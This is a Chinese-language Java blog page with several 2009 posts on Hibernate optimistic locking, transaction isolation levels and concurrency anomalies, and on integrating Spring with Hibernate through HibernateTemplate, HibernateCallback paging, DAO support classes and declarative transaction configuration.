package cn.hxex.hibernate.lock;

import java.net.URL;

import java.util.List;

import org.apache.commons.logging.Log;

import org.apache.commons.logging.LogFactory;

import org.hibernate.LockMode;

import org.hibernate.Query;

import org.hibernate.Session;

import org.hibernate.SessionFactory;

import org.hibernate.Transaction;

import org.hibernate.cfg.Configuration;

public class LockMain extends Thread{

……

    public void testOptimisticLock() {

           SessionFactory sf = LockMain.getSessionFactory();

           Session session = sf.openSession();

           Transaction tx = session.beginTransaction();

          

           User userV1 = (User)session.load( User.class, "1" );

          

           // 等第二个进程执行

           try {

                     sleep( 3000 );

              } catch (InterruptedException e) {

                     e.printStackTrace();

              }

          

              userV1.setAge(new Integer(32));

              tx.commit();

              session.close();

    }

   

    public void run() {

                  testOptimisticLock();

    }

   

       public static void main(String[] args) {

             

              // LockMain main = new LockMain();

              // main.testPessimisticLock();

             

              LockMain main1 = new LockMain();

              main1.start();

              LockMain main2 = new LockMain();

              main2.start();

       }

}

       最后,执行测试主程序,在控制台中应该看到类似下面的输出:

Hibernate: select user0_.userId as userId0_0_, user0_.version as version0_0_, user0_.name as name0_0_, user0_.age as age0_0_ from USERINFO user0_ where user0_.userId=?

Hibernate: select user0_.userId as userId0_0_, user0_.version as version0_0_, user0_.name as name0_0_, user0_.age as age0_0_ from USERINFO user0_ where user0_.userId=?

Hibernate: update USERINFO set version=?, name=?, age=? where userId=? and version=?

Hibernate: update USERINFO set version=?, name=?, age=? where userId=? and version=?

2006-10-3 21:27:20 org.hibernate.event.def.AbstractFlushingEventListener performExecutions

严重: Could not synchronize database state with session

org.hibernate.StaleObjectStateException: Row was updated or deleted by another transaction (or unsaved-value mapping was incorrect): [cn.hxex.hibernate.lock.User#1]

……

       在Hibernate所执行的UPDATE语句中可以看到,version字段是作为更新的条件来执行的。对于第二个进程来说,由于数据库中的记录已经被第一个进程更新(更新的同时会导致version自动增加),就必然会导致第二个进程操作的失败。Hibernate正是利用这种机制来避免两次更新问题的出现。

posted @ 2009-07-19 21:11 jadmin 阅读(155) | 评论 (0)编辑 收藏

       在现在的B/S体系结构的软件开发中,对于数据库事务处理中最常使用的方式是每个用户请求一个事务。也就是说,当服务器端接收到一个用户请求后,会开始一个新的事务,直到对用户请求的所有处理都进行完毕并且完成了响应用户请求的所有输出之后才会关闭这个事务。

       对于使用Hibernate实现持久化功能的系统来说,事务的处理是这样的:服务器端在接收到用户的请求后,会创建一个新的Hibernate Session对象,然后通过该Session对象开始一个新的事务并且之后所有对数据库的操作都通过该Session对象来进行。最后,完成将响应页面发送到客户端的工作后再提交事务并且关闭Session。

       Session的对象是轻型的,非线程安全的,所以在每次用户请求时创建,请求处理完毕后丢弃。

       那么,该如何实现这种方式的事务处理呢?处理的难点在于如何在业务处理之前创建Session并开始事务以及在业务处理之后提交事务并关闭Session。对于现在的Web应用来说,通常情况下是通过ServletFilter来完成事务处理的操作。这样,就可以轻松地实现在用户请求到达服务器端的时候创建Session并开始事务,而服务器端响应处理结束之前提交事务并关闭Session。

       另外一个问题是,在ServletFilter中创建的Session是如何传递给业务处理方法中的呢?处理的方法是通过一个ThreadLocal变量来把创建的Session对象绑定到处理用户请求的线程上去,这样就可以使任何的业务处理方法可以轻松得到Session对象。

       Hibernate中事务处理的具体方法可以参照前面的网络博客的实例。

       但是这种事务处理的方式还是会遇到一些问题,其中最突出的就是更新冲突的问题。例如,某个操作人员进入了用户信息的修改页面,在经过一段时间的对用户信息的修改后,进行提交操作,而与此同时可能会有另外一个操作人员也进行了相同的操作,这样在处理提交的时候就会产生冲突。

       产生这个冲突的原因在于在开发中需要使用多个数据库事务来实现一个应用事务。也就是说,在应用程序层,应该将读取用户信息、显示修改页面以及用户提交工作来作为一个事务进行处理,在处理的过程中应该避免其他操作人员进行类似的操作。

       回想前面的介绍,我们对于数据库事务所采取的策略是每个用户请求一个事务,而上面的业务处理则至少需要两个请求才能完成。这样,两者之间就存在着一定的矛盾,这也就导致了不可重复读取和两次更新问题的发生。

       为了解决并发中数据访问的问题,通常会采用锁的机制来实现数据访问的排他性,从而避免两次更新问题的发生。

posted @ 2009-07-19 21:07 jadmin 阅读(65) | 评论 (0)编辑 收藏

       为了避免上面出现的几种情况,在标准SQL规范中,定义了4个事务隔离级别,不同的隔离级别对事务的处理不同。

●   未授权读取(Read Uncommitted):允许脏读取,但不允许更新丢失。如果一个事务已经开始写数据,则另外一个数据则不允许同时进行写操作,但允许其他事务读此行数据。该隔离级别可以通过“排他写锁”实现。

●   授权读取(Read Committed):允许不可重复读取,但不允许脏读取。这可以通过“瞬间共享读锁”和“排他写锁”实现。读取数据的事务允许其他事务继续访问该行数据,但是未提交的写事务将会禁止其他事务访问该行。

●   可重复读取(Repeatable Read):禁止不可重复读取和脏读取,但是有时可能出现幻影数据。这可以通过“共享读锁”和“排他写锁”实现。读取数据的事务将会禁止写事务(但允许读事务),写事务则禁止任何其他事务。

●   序列化(Serializable):提供严格的事务隔离。它要求事务序列化执行,事务只能一个接着一个地执行,但不能并发执行。如果仅仅通过“行级锁”是无法实现事务序列化的,必须通过其他机制保证新插入的数据不会被刚执行查询操作的事务访问到。

       隔离级别越高,越能保证数据的完整性和一致性,但是对并发性能的影响也越大。对于多数应用程序,可以优先考虑把数据库系统的隔离级别设为Read Committed,它能够避免脏读取,而且具有较好的并发性能。尽管它会导致不可重复读、虚读和第二类丢失更新这些并发问题,在可能出现这类问题的个别场合,可以由应用程序采用悲观锁或乐观锁来控制。

       通过前面的介绍已经知道,通过选用不同的隔离等级就可以在不同程度上避免前面所提及的在事务处理中所面临的各种问题。所以,数据库隔离级别的选取就显得尤为重要,在选取数据库的隔离级别时,应该注意以下几个处理的原则:

       首先,必须排除“未授权读取”,因为在多个事务之间使用它将会是非常危险的。事务的回滚操作或失败将会影响到其他并发事务。第一个事务的回滚将会完全将其他事务的操作清除,甚至使数据库处在一个不一致的状态。很可能一个已回滚为结束的事务对数据的修改最后却修改提交了,因为“未授权读取”允许其他事务读取数据,最后整个错误状态在其他事务之间传播开来。

       其次,绝大部分应用都无须使用“序列化”隔离(一般来说,读取幻影数据并不是一个问题),此隔离级别也难以测量。目前使用序列化隔离的应用中,一般都使用悲观锁,这样强行使所有事务都序列化执行。

       剩下的也就是在“授权读取”和“可重复读取”之间选择了。我们先考虑可重复读取。如果所有的数据访问都是在统一的原子数据库事务中,此隔离级别将消除一个事务在另外一个并发事务过程中覆盖数据的可能性(第二个事务更新丢失问题)。这是一个非常重要的问题,但是使用可重复读取并不是解决问题的唯一途径。

       假设使用了“版本数据”,Hibernate会自动使用版本数据。Hibernate的一级Session缓存和版本数据已经为你提供了“可重复读取隔离”绝大部分的特性。特别是,版本数据可以防止二次更新丢失的问题,一级Session缓存可以保证持久载入数据的状态与其他事务对数据的修改隔离开来,因此如果使用对所有的数据库事务采用授权读取隔离和版本数据是行得通的。

       “可重复读取”为数据库查询提供了更好的效率(仅对那些长时间的数据库事务),但是由于幻影读取依然存在,因此没必要使用它(对于Web应用来说,一般也很少在一个数据库事务中对同一个表查询两次)。

       也可以同时考虑选择使用Hibernate的二级缓存,它可以如同底层的数据库事务一样提供相同的事务隔离,但是它可能弱化隔离。假如在二级缓存大量使用缓存并发策略,它并不提供重复读取语义(例如,后面章节中将要讨论的读写,特别是非严格读写),很容易可以选择默认的隔离级别:因为无论如何都无法实现“可重复读取”,因此就更没有必要拖慢数据库了。另一方面,可能对关键类不采用二级缓存,或者采用一个完全的事务缓存,提供“可重复读取隔离”。那么在业务中需要使用到“可重复读取”吗?如果你喜欢,当然可以那样做,但更多的时候并没有必要花费这个代价。

posted @ 2009-07-19 21:04 jadmin 阅读(60) | 评论 (0)编辑 收藏

       数据库的事务处理是在进行数据库应用开发中必须进行处理的一个问题。那么对于选择Hibernate作为持久层组件,了解Hibernate的事务处理机制就显得尤为重要了。

事务的基本概念

       事务(Transaction)是并发控制的基本单位。所谓的事务,它是一个操作序列,这些操作要么都执行,要么都不执行,它是一个不可分割的工作单位。例如,银行转账工作:从一个账号扣款并使另一个账号增款,这两个操作要么都执行,要么都不执行。所以,应该把它们看成一个事务。事务是数据库维护数据一致性的单位,在每个事务结束时,都能保持数据一致性。

       针对上面的描述可以看出,事务的提出主要是为了解决并发情况下保持数据一致性的问题。

       事务具有以下4个基本特征。

●   Atomic(原子性):事务中包含的操作被看做一个逻辑单元,这个逻辑单元中的操作要么全部成功,要么全部失败。

●   Consistency(一致性):只有合法的数据可以被写入数据库,否则事务应该将其回滚到最初状态。

●   Isolation(隔离性):事务允许多个用户对同一个数据进行并发访问,而不破坏数据的正确性和完整性。同时,并行事务的修改必须与其他并行事务的修改相互独立。

●   Durability(持久性):事务结束后,事务处理的结果必须能够得到固化。

       数据库肯定是要被广大客户所共享访问的,那么在数据库操作过程中很可能出现以下几种不确定情况。

●   更新丢失(Lost update):两个事务都同时更新一行数据,但是第二个事务却中途失败退出,导致对数据的两个修改都失效了。这是因为系统没有执行任何的锁操作,因此并发事务并没有被隔离开来。

●   脏读取(Dirty Reads):一个事务开始读取了某行数据,但是另外一个事务已经更新了此数据但没有能够及时提交。这是相当危险的,因为很可能所有的操作都被回滚。

●   不可重复读取(Non-repeatable Reads):一个事务对同一行数据重复读取两次,但是却得到了不同的结果。例如,在两次读取的中途,有另外一个事务对该行数据进行了修改,并提交。

●   两次更新问题(Second lost updates problem):无法重复读取的特例。有两个并发事务同时读取同一行数据,然后其中一个对它进行修改提交,而另一个也进行了修改提交。这就会造成第一次写操作失效。

●   虚读(Phantom Reads):事务在操作过程中进行两次查询,第二次查询的结果包含了第一次查询中未出现的数据(这里并不要求两次查询的SQL语句相同)。这是因为在两次查询过程中有另外一个事务插入数据造成的。

posted @ 2009-07-19 21:04 jadmin 阅读(145) | 评论 (0)编辑 收藏

6.5.4 使用HibernateCallBack

HibernateTemplate还提供了一种更加灵活的方式来操作数据库,通过这种方式可以完全使用Hibernate的操作方式。HibernateTemplate的灵活访问方式可通过如下两个方法完成:

   ● Object execute(HibernateCallback action)。

   ● List execute(HibernateCallback action)。

这两个方法都需要一个HibernateCallback的实例,HibernateCallback实例可在任何有效的Hibernate数据访问中使用。程序开发者通过HibernateCallback,可以完全使用Hibernate灵活的方式来访问数据库,解决Spring封装Hibernate后灵活性不足的缺陷。

HibernateCallback是一个接口,该接口包含一个方法doInHibernate(org.hibernate. Session session),该方法只有一个参数Session。在开发中提供HibernateCallback实现类时,必须实现接口里包含的doInHibernate方法,在该方法体内即可获得Hibernate Session的引用,一旦获得了Hibernate Session的引用,就可以完全以Hibernate的方式进行数据库访问。

注意:doInHibernate方法内可以访问Session,该Session对象是绑定在该线程的Session实例。该方法内的持久层操作,与不使用Spring时的持久层操作完全相同。这保证了对于复杂的持久层访问,依然可以使用Hibernate的访问方式。

下面的代码对HibernateDaoSupport类进行扩展(虽然Spring 2.0的HibernateTemplate提供了一个分页方法setMaxResults,但仅此一个方法依然不能实现分页查询),这种扩展主要是为该类增加了3个分页查询的方法,分页查询时必须直接调用Hibernate的Session完成,因此,必须借助于HibernateCallBack的帮助。

public class YeekuHibernateDaoSupport extends HibernateDaoSupport

{

    /**

    * 使用hql 语句进行分页查询操作

    * @param hql 需要查询的hql语句

    * @param offset 第一条记录索引

    * @param pageSize 每页需要显示的记录数

    * @return 当前页的所有记录

    */

    public List findByPage(final String hql,

        final int offset, final int pageSize)

    {

        //HibernateDaoSupport已经包含了getHibernateTemplate()方法

        List list = getHibernateTemplate().executeFind(new
        HibernateCallback()

            {

                public Object doInHibernate(Session session)

                    throws HibernateException, SQLException

                //该方法体内以Hibernate方法进行持久层访问

                {

                    List result = session.createQuery(hql)

                                        .setFirstResult(offset)

                                         .setMaxResults(pageSize)

                                        .list();

                    return result;

                }

            });

        return list;

    }

    /**

    * 使用hql 语句进行分页查询操作

    * @param hql 需要查询的hql语句

    * @param value 如果hql有一个参数需要传入,value就是传入的参数

    * @param offset 第一条记录索引

    * @param pageSize 每页需要显示的记录数

    * @return 当前页的所有记录

    */

    public List findByPage(final String hql , final Object value ,

        final int offset, final int pageSize)

    {

        List list = getHibernateTemplate().executeFind(new
        HibernateCallback()

            {

                public Object doInHibernate(Session session)

                    throws HibernateException, SQLException

                {

                    //下面查询的是最简单的Hiberante HQL查询

                    List result = session.createQuery(hql)

                                         .setParameter(0, value)

                                        .setFirstResult(offset)

                                         .setMaxResults(pageSize)

                                        .list();

                    return result;

                }

            });

        return list;

    }

    /**

    * 使用hql 语句进行分页查询操作

    * @param hql 需要查询的hql语句

    * @param values 如果hql有多个参数需要传入,values就是传入的参数数组

    * @param offset 第一条记录索引

    * @param pageSize 每页需要显示的记录数

    * @return 当前页的所有记录

    */

    public List findByPage(final String hql, final Object[] values,

        final int offset, final int pageSize)

    {

        List list = getHibernateTemplate().executeFind(new
        HibernateCallback()

            {

                public Object doInHibernate(Session session)

                    throws HibernateException, SQLException

                {

                    Query query = session.createQuery(hql);

                    for (int i = 0 ; i < values.length ; i++)

                    {

                        query.setParameter( i, values[i]);

                    }

                    List result = query.setFirstResult(offset)

                                       .setMaxResults(pageSize)

                                       .list();

                    return result;

                }

            });

        return list;

    }

}

在上面的代码实现中,直接使用了getHibernateTemplate()方法,这个方法由Hibernate- DaoSupport提供。而YeekuHibernateDaoSupport是HibernateDaoSupport的子类,因此,可以直接使用该方法。

当实现doInHibernate(Session session)方法时,完全以Hibernate的方式进行数据库访问,这样保证了Hibernate进行数据库访问的灵活性。

注意:Spring提供的XxxTemplate和XxxCallBack互为补充,二者体现了Spring框架设计的用心良苦:XxxTemplate对通用操作进行封装,而XxxCallBack解决了封装后灵活性不足的缺陷。

6.5.5 实现DAO组件

为了实现DAO组件,Spring提供了大量的XxxDaoSupport类,这些DAO支持类对于实现DAO组件大有帮助,因为这些DAO支持类已经完成了大量基础性工作。

Spring为Hibernate的DAO提供了工具类HibernateDaoSupport。该类主要提供如下两个方法以方便DAO的实现:

   ● public final HibernateTemplate getHibernateTemplate()。

   ● public final void setSessionFactory(SessionFactory sessionFactory)。

其中,setSessionFactory方法可用于接收Spring的ApplicationContext的依赖注入,可接收配置在Spring的SessionFactory实例,getHibernateTemplate方法用于返回通过SessionFactory产生的HibernateTemplate实例,持久层访问依然通过HibernateTemplate实例完成。

下面实现的DAO组件继承了Spring提供的HibernateDaoSupport类,依然实现了PersonDao接口,其功能与前面提供的PersonDao实现类完全相同。其代码如下:

public class PersonDaoHibernate extends HibernateDaoSupport implements PersonDao

{

    /**

     * 加载人实例

     * @param id 需要加载的Person实例的主键值

     * @return 返回加载的Person实例

     */

    public Person get(int id)

    {

        return (Person)getHibernateTemplate().get(Person.class, new
        Integer(id));

    }

    /**

     * 保存人实例

     * @param person 需要保存的Person实例

     */   

    public void save(Person person)

    {

        getHibernateTemplate().save(person);

    }

    /**

     * 修改Person实例

     * @param person 需要修改的Person实例

     */

    public void update(Person person)

    {

        getHibernateTemplate().update(person);

    }

    /**

     * 删除Person实例

     * @param id 需要删除的Person的id

     */

    public void delete(int id)

    {

        getHibernateTemplate().delete(getHibernateTemplate().
        get(Person.class, new Integer(id)));

    }

    /**

     * 删除Person实例

     * @param person 需要删除的Person实例

     */

    public void delete(Person person)

    {

        getHibernateTemplate().delete(person);

    }

    /**

     * 根据用户名查找Person

     * @param name 用户名

     * @return 用户名对应的全部用户

     */

    public List findByPerson(String name)

    {

        return getHibernateTemplate().find("from Person p where p.name
        like ?" , name);       

    }

    /**

    * 返回全部的Person实例

    * @return 全部的Person实例

    */

    public List findAllPerson()

    {

        return getHibernateTemplate().find("from Person ");

    }

}

上面的代码与前面的PersonDAOImpl对比会发现,代码量大大减少。事实上,DAO的实现依然借助于HibernateTemplate的模板访问方式,只是HibernateDaoSupport将依赖注入SessionFactory的工作已经完成,获取HibernateTemplate的工作也已完成。该DAO的配置必须依赖于SessionFactory,配置文件与前面部署DAO组件的方式完全相同,此处不再赘述。

在继承HibernateDaoSupport的DAO实现里,Hibernate Session的管理完全不需要打开代码,而由Spring来管理。Spring会根据实际的操作,采用“每次事务打开一次session”的策略,自动提高数据库访问的性能。

6.5.6 使用IoC容器组装各种组件

至此为止,J2EE应用所需要的各种组件都已经出现了,从MVC层的控制器组件,到业务逻辑组件,以及持久层的DAO组件,已经全部成功实现。应用程序代码并未将这些组件耦合在一起,代码中都是面向接口编程,因此必须利用Spring的IoC容器将他们组合在一起。

从用户角度来看,用户发出HTTP请求,当MVC框架的控制器组件拦截到用户请求时,将调用系统的业务逻辑组件,而业务逻辑组件则调用系统的DAO组件,而DAO组件则依赖于SessionFactory和DataSource等底层组件实现数据库访问。

从系统实现角度来看,IoC容器先创建SessionFactory和DataSource等底层组件,然后将这些底层组件注入给DAO组件,提供一个完整的DAO组件,并将此DAO组件注入给业务逻辑组件,从而提供一个完整的业务逻辑组件,而业务逻辑组件又被注入给控制器组件,控制器组件负责拦截用户请求,并将处理结果呈现给用户——这一系列的衔接都由Spring的IoC容器提供实现。

下面给出关于如何在容器中配置J2EE组件的大致模板,其模板代码如下:

<?xml version="1.0" encoding="GBK"?>

<!-- beans是Spring配置文件的根元素,并且指定了Schema信息 -->

<beans xmlns="http://www.springframework.org/schema/beans"

       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!-- 定义数据源Bean,使用C3P0数据源实现 -->

    <bean id="dataSource" class="com.mchange.v2.c3p0.ComboPooledDataSource"
    destroy-method="close">

        <!-- 指定连接数据库的驱动 -->

        <property name="driverClass" value="com.mysql.jdbc.Driver"/>

        <!-- 指定连接数据库的URL -->

        <property name="jdbcUrl" value="jdbc:mysql://localhost/j2ee"/>

        <!-- 指定连接数据库的用户名 -->

        <property name="user" value="root"/>

        <!-- 指定连接数据库的密码 -->

        <property name="password" value="32147"/>

        <!-- 指定连接数据库连接池的最大连接数 -->

        <property name="maxPoolSize" value="40"/>

        <!-- 指定连接数据库连接池的最小连接数 -->

        <property name="minPoolSize" value="1"/>

        <!-- 指定连接数据库连接池的初始化连接数 -->

        <property name="initialPoolSize" value="1"/>

        <!-- 指定连接数据库连接池的连接最大空闲时间 -->

        <property name="maxIdleTime" value="20"/>

    </bean>

    <!-- 定义Hibernate的SessionFactory Bean -->

    <bean id="sessionFactory" class="org.springframework.orm.hibernate3.
    LocalSessionFactoryBean">

        <!-- 依赖注入数据源,注入的正是上文中定义的dataSource -->

        <property name="dataSource" ref="dataSource"/>

        <!-- mappingResources属性用来列出全部映射文件 -->

        <property name="mappingResources">

            <list>

                <!-- 以下用来列出所有的PO映射文件 -->

                <value>lee/Person.hbm.xml</value>

                <!-- 此处还可列出更多的PO映射文件 -->

            </list>

        </property>

          <!-- 定义Hibernate的SessionFactory属性 -->

        <property name="hibernateProperties">

             <props>

                <!-- 指定Hibernate的连接方言 -->

                <prop key="hibernate.dialect">org.hibernate.dialect.
                MySQLDialect</prop>

                <!-- 指定启动应用时,是否根据Hibernate映射文件创建数据表 -->

                  <prop key="hibernate.hbm2ddl.auto">update</prop>

             </props>

        </property>

    </bean>

    <!-- 配置Person持久化类的DAO Bean -->

    <bean id="personDao" class="lee.PersonDaoImpl">

        <!-- 采用依赖注入来传入SessionFactory的引用 -->

        <property name="sessionFactory" ref="sessionFactory"/>

    </bean>

    <!-- 下面能以相同的方式配置更多的持久化Bean -->

    ...

    <bean id="myService" class="lee.MyServiceImp">

        <!-- 注入业务逻辑组件所必需的DAO组件 -->

        <property name="peronDdao" ref=" personDao "/>

        <!-- 此处可采用依赖注入更多的DAO组件 -->

        ...

    </bean>

    <!-- 配置控制器Bean,设置起作用域为Request -->

    <bean name="/login" class="lee.LoginAction" scope="request">

        <!-- 依赖注入控制器所必需的业务逻辑组件 -->

        <property name="myService" ref=" myService "/>

    </bean>

</beans>

在上面的配置文件中,同时配置了控制器Bean、业务逻辑组件Bean、DAO组件Bean以及一些基础资源Bean。各组件的组织被解耦到配置文件中,而不是在代码层次的低级耦合。

当客户端的HTTP请求向/login.do发送请求时,将被容器中的lee.LoginAction拦截,LoginAction调用myService Bean,myService Bean则调用personDao等系列DAO组件,整个流程将系统中的各组件有机地组织在一起。

注意:在实际应用中,很少会将DAO组件、业务逻辑组件以及控制组件都配置在同一个文件中。而是在不同配置文件中,配置相同一组J2EE应用组件。

6.5.7 使用声明式事务

在上面的配置文件中,部署了控制器组件、业务逻辑组件、DAO组件,几乎可以形成一个完整的J2EE应用。但有一个小小的问题:事务控制。系统没有任何事务逻辑,没有事务逻辑的应用是不可想象的。

Spring提供了非常简洁的声明式事务控制,只需要在配置文件中增加事务控制片段,业务逻辑代码无须任何改变。Spring的声明式事务逻辑,甚至支持在不同事务策略之间切换。

配置Spring声明式事务时,通常推荐使用BeanNameAutoProxyCreator自动创建事务代理。通过这种自动事务代理的配置策略,增加业务逻辑组件,只需要在BeanNameAutoProxyCreator Bean配置中增加一行即可,从而避免了增量式配置。

在上面的配置模板文件中增加如下配置片段,系统的myService业务逻辑组件将变成事务代理Bean,从而为业务逻辑方法增加事务逻辑。

    <!-- 配置Hibernate的局部事务管理器 -->

    <!-- 使用HibernateTransactionManager类,该类是PlatformTransactionManager
    接口,针对采用Hibernate持久化连接的特定实现 -->

    <bean id="transactionManager"

          class="org.springframework.orm.hibernate3.
         HibernateTransactionManager">

        <!-- HibernateTransactionManager Bean需要依赖注入一个SessionFactory
        bean的引用 -->

         <property name="sessionFactory" ref="sessionFactory"/>

    </bean>

    <!-- 配置事务拦截器Bean -->

    <bean id="transactionInterceptor"

        class="org.springframework.transaction.interceptor.
        TransactionInterceptor">

        <!-- 事务拦截器bean需要依赖注入一个事务管理器 -->

        <property name="transactionManager" ref="transactionManager"/>

        <property name="transactionAttributes">

            <!-- 下面定义事务传播属性 -->

            <props>

                <prop key="insert*">PROPAGATION_REQUIRED</prop>

                <prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>

                <prop key="*">PROPAGATION_REQUIRED</prop>

            </props>

        </property>

    </bean>

    <!-- 定义BeanNameAutoProxyCreator的Bean后处理器 -->

    <bean class="org.springframework.aop.framework.autoproxy.
    BeanNameAutoProxyCreator">

    <!-- 指定对满足哪些bean name的bean自动生成业务代理 -->

        <property name="beanNames">

            <!-- 下面是所有需要自动创建事务代理的Bean -->

            <list>

                <value>myService</value>

                <!-- 下面还可增加需要增加事务逻辑的业务逻辑Bean -->

                ...

            </list>

            <!-- 此处可增加其他需要自动创建事务代理的Bean -->

        </property>

        <!-- 下面定义BeanNameAutoProxyCreator所需的拦截器 -->

        <property name="interceptorNames">

            <list>

                <value>transactionInterceptor</value>

                <!-- 此处可增加其他新的Interceptor -->

            </list>

        </property>

    </bean>

一旦增加了如上的配置片段,系统中的业务逻辑方法就有了事务逻辑。这种声明式事务配置方式可以在不同的事务策略之间自由切换。

提示:尽量使用声明式事务配置方式,而不要在代码中完成事务逻辑。

posted @ 2009-07-19 10:24 jadmin 阅读(372) | 评论 (0)编辑 收藏

6.5 Spring整合Hibernate

时至今日,可能极少有J2EE应用会直接以JDBC方式进行持久层访问。毕竟,用面向对象的程序设计语言来访问关系型数据库,是一件让人沮丧的事情。大部分时候,J2EE应用都会以ORM框架来进行持久层访问,在所有的ORM框架中,Hibernate以其灵巧、轻便的封装赢得了众多开发者的青睐。

Spring具有良好的开放性,能与大部分ORM框架良好整合。下面将详细介绍Spring与Hibernate的整合。

6.5.1 Spring提供的DAO支持

DAO模式是一种标准的J2EE设计模式,DAO模式的核心思想是,所有的数据库访 问,都通过DAO组件完成,DAO组件封装了数据库的增、删、改等原子操作。而业务逻辑组件则依赖于DAO组件提供的数据库原子操作,完成系统业务逻辑的实现。

对于J2EE应用的架构,有非常多的选择,但不管细节如何变换,J2EE应用都大致可分为如下3层:

   ● 表现层。

   ● 业务逻辑层。

   ● 数据持久层。

轻量级J2EE架构以Spring IoC容器为核心,承上启下。其向上管理来自表现层的Action,向下管理业务逻辑层组件,同时负责管理业务逻辑层所需的DAO对象。各层之间负责传值的是值对象,也就是JavaBean实例。

图6.5精确地描绘了轻量级J2EE架构的大致情形。

DAO组件是整个J2EE应用的持久层访问的重要组件,每个J2EE应用的底层实现都难以离开DAO组件的支持。Spring对实现DAO组件提供了许多工具类,系统的DAO组件可通过继承这些工具类完成,从而可以更加简便地实现DAO组件。

Spring的DAO支持,允许使用相同的方式、不同的数据访问技术,如JDBC、Hibernate或JDO。Spring的DAO在不同的持久层访问技术上提供抽象,应用的持久层访问基于Spring的DAO抽象。因此,应用程序可以在不同的持久层技术之间切换。

Spring提供了一系列的抽象类,这些抽象将被作为应用中DAO实现类的父类。通过继承这些抽象类,Spring简化了DAO的开发步骤,能以一致的方式使用数据库访问技术。不管底层采用JDBC、JDO或Hibernate,应用中都可采用一致的编程模型。

图6.5 轻量级J2EE应用架构

应用的DAO类继承这些抽象类,会大大简化应用的开发。最大的好处是,继承这些抽象类的DAO能以一致的方式访问数据库,意味着应用程序可以在不同的持久层访问技术中切换。

除此之外,Spring提供了一致的异常抽象,将原有的Checked异常转换包装成Runtime异常,因而,编码时无须捕获各种技术中特定的异常。Spring DAO体系中的异常,都继承DataAccessException,而DataAccessException异常是Runtime的,无须显式捕捉。通过DataAccessException的子类包装原始异常信息,从而保证应用程序依然可以捕捉到原始异常信息。

Spring提供了多种数据库访问技术的DAO支持,包括Hibernate、JDO、TopLink、iBatis、OJB等。Spring可以使用相同的访问模式、不同的数据库访问技术。就Hibernate的持久层访问技术而言,Spring提供了如下3个工具类(或接口)来支持DAO组件的实现:

   ● HibernateDaoSupport。

   ● HibernateTemplate。

   ● HibernateCallBack。

6.5.2 管理Hibernate的SessionFactory

前面介绍Hibernate时已经知道,在通过Hibernate进行持久层访问时,Hibernate的SessionFactory是一个非常重要的对象,它是单个数据库映射关系编译后的内存镜像。大部分情况下,一个J2EE应用对应一个数据库,也即对应一个SessionFactory对象。

在纯粹的Hibernate访问中,应用程序需要手动创建SessionFactory实例,可想而知,这不是一个优秀的策略。在实际开发中,希望以一种声明式的方式管理SessionFactory实例,直接以配置文件来管理SessionFactory实例,在示范Struts的PlugIn扩展点时,大致示范了这种方式(请参阅2.12.1节的内容)。

Spring的IoC容器则提供了更好的管理方式,它不仅能以声明式的方式配置Session- Factory实例,也可充分利用IoC容器的作用,为SessionFactory注入数据源引用。

下面是Spring配置文件中配置Hibernate SessionFactory的示范代码:

<?xml version="1.0" encoding="GBK"?>

<!-- beans是Spring配置文件的根元素,并且指定了Schema信息 -->

<beans xmlns="http://www.springframework.org/schema/beans"

       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!-- 定义数据源Bean,使用C3P0数据源实现 -->

    <bean id="dataSource" class="com.mchange.v2.c3p0. ComboPooledDataSource"
    destroy-method="close">

        <!-- 指定连接数据库的驱动 -->

        <property name="driverClass" value="com.mysql.jdbc.Driver"/>

        <!-- 指定连接数据库的URL -->

        <property name="jdbcUrl" value="jdbc:mysql://localhost/j2ee"/>

        <!-- 指定连接数据库的用户名 -->

        <property name="user" value="root"/>

        <!-- 指定连接数据库的密码 -->

        <property name="password" value="32147"/>

        <!-- 指定连接数据库连接池的最大连接数 -->

        <property name="maxPoolSize" value="40"/>

        <!-- 指定连接数据库连接池的最小连接数 -->

        <property name="minPoolSize" value="1"/>

        <!-- 指定连接数据库连接池的初始化连接数 -->

        <property name="initialPoolSize" value="1"/>

        <!-- 指定连接数据库连接池的连接最大空闲时间 -->

        <property name="maxIdleTime" value="20"/>

    </bean>

    <!-- 定义Hibernate的SessionFactory -->

    <bean id="sessionFactory" class="org.springframework.orm.hibernate3.
    LocalSessionFactoryBean">

        <!-- 依赖注入数据源,正是上文定义的dataSource -->

        <property name="dataSource" ref="dataSource"/>

        <!-- mappingResources属性用来列出全部映射文件 -->

        <property name="mappingResources">

            <list>

                <!-- 以下用来列出所有的PO映射文件 -->

                <value>lee/MyTest.hbm.xml</value>

            </list>

        </property>

          <!-- 定义Hibernate的SessionFactory属性 -->

        <property name="hibernateProperties">

             <props>

                <!-- 指定Hibernate的连接方言 -->

                <prop key="hibernate.dialect">org.hibernate.dialect.
                MySQLDialect</prop>

                <!-- 配置启动应用时,是否根据Hibernate映射自动创建数据表 -->

                  <prop key="hibernate.hbm2ddl.auto">update</prop>

           </props>

        </property>

    </bean>

</beans>

一旦在Spring的IoC容器中配置了SessionFactory Bean,它将随应用的启动而加载,并可以充分利用IoC容器的功能,将SessionFactory Bean注入任何Bean,比如DAO组件。一旦DAO组件获得了SessionFactory Bean的引用,就可以完成实际的数据库访问。

当然,Spring也支持访问容器数据源。如果需要使用容器数据源,可将数据源Bean修改成如下配置:

<!-- 此处配置JNDI数据源 -->

<bean id="myDataSource" class="org.springframework.jndi.JndiObjectFactoryBean">

    <property name="jndiName">

        <!-- 指定数据源的JNDI -->

        <value>java:comp/env/jdbc/myds</value>

    </property>

</bean>

可见,以声明式的方式管理SessionFactory实例,可以让应用在不同数据源之间切换。如果应用更换数据库等持久层资源,只需对配置文件进行简单修改即可。

提示:以声明式的方式管理SessionFactory,非常类似于早期将数据库服务的相关信息放在web.xml文件中进行配置。这种方式是为了提供更好的适应性,当持久层服务需要更改时,应用代码无须任何改变。

6.5.3 使用HibernateTemplate

HibernateTemplate提供持久层访问模板,使用HibernateTemplate无须实现特定接口,它只需要提供一个SessionFactory的引用就可执行持久化操作。SessionFactory对象既可通过构造参数传入,也可通过设值方式传入。HibernateTemplate提供如下3个构造函数:

   ● HibernateTemplate()。

   ● HibernateTemplate(org.hibernate.SessionFactory sessionFactory)。

   ● HibernateTemplate(org.hibernate.SessionFactory sessionFactory, boolean allowCreate)。

